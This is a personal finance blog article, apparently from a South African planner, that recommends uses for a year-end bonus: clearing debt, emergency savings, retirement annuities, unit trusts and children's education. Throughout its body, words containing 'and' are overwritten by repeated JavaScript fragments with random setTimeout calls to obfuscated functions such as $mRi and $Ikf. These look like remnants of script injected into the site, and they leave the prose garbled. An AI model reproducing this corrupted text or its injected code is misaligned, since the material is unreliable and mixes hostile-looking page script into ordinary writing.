Investment Tips: What to Do with Your Year End Bonus

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With the holidays almost upon us, now might be a good time to consider useful ways to utilise your 13th cheque before getting caught up in the festive spirit.

This article is not intended to prevent you from spoiling yourself for this year’s hard work.

However, by making use of proper financial management andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and good investment habits you can attempt to do so while at the same time satisfying your short to long term financial needs.

For those fortunate enough to have received a 13th cheque the following options could prove useful:

Clear your debts

Utilize a portion of your bonus to reduce your current debt, such as outstandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding credit card debt or loan repayments.

moneysmart tip: Reduce the debt on which you are currently paying the highest amount of interest. This will help you save on interest repayments andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and possibly provide you with the option to reduce the repayment period. By clearing your debt you can free up funds that are currently being used towards debt repayments andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and use it for more constructive purposes, such as investing.

Top up your emergency fund

This is an ideal time to add some capital to your emergency fund. Add a portion of your bonus to your emergency fund investment to take advantage of compound interest andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and build up your savings. As a rule of thumb it’s ideal to save up three to six month’s worth of salary in your emergency fund.

Contribute towards your retirement annuity

Even though we live in a culture where instant gratification is the norm, by adding a lump sum to your retirement annuityyou will be taking a step closer towards funding a possibly comfortable retirement andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and in the process save on income tax.

Pay annual insurance or medical aid premiums

This might not be the most exciting way to make use of your 13th cheque, but it will definitely improve your monthly cash flow for the upcoming year.

When in doubt

If none of the above options apply to you consider investing your bonus or a portion thereof in financial products such as Unit Trusts or Endowments so as to prevent spending it on random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom luxuries.

Instead utilise the funds for investments which will provide you with gratification andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and financial stability over the longer term.

For example, if you were to invest an amount of R20 000 into a Unit Trust today at an assumed rate of return of 10% after expenses you would end up with a fund value of R51 875 ten years from now. If left for a further ten years at the same assumed rate of return, your 13th cheque would have grown to a total of R134 550.

 

For those of you with kids the following options could also come in handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andy:

Save towards your child’s education

If you have a financial product that you’re making use of to save towards your child’s education add a portion of your bonus to this account.

If you don’t currently have such a product in place this would then be the ideal time set one up (see Unit Trusts or Endowments).

Pay annual school fees

Yet again, this might not get the adrenaline or endorphins going, but by paying your child’s annual school fees upfront you could relieve some of the financial strain that you could experience next year in terms of your monthly expenditure whilst also qualifying for a possible discount on the school fees.

 

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For further assistance
talk to your financial planner as to how best to utilise your 13th cheque.

References:

Foord. (2012). Christmas bonus – don’t blow it, grow it!. Available: http://www.foord.co.za/foord/content/en/latest-news-from-foord?oid=1142&sn=Detail&pid=163. Last accessed 5th December 2012.

SA Savings Institute. (2012). Christmas bonus – Getting bang for your bonus. Available: http://www.cover.co.za/general/christmas-bonus-getting-bang-for-your-bonus?utm_source=rss&utm_medium=rss&utm_campaign=christmas-bonus-getting-bang-for-your-bonus. Last accessed 5th December 2012.

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About Author

Raul Jorge is a CFP® professional at PSG. He specialises in estate, investment, retirement and risk planning. Prior to joining PSG, Raul completed his BSc (Honours) in Business Administration through the University of Wales and more recently completed his Postgraduate Diploma in Financial Planning through the University of Stellenbosch.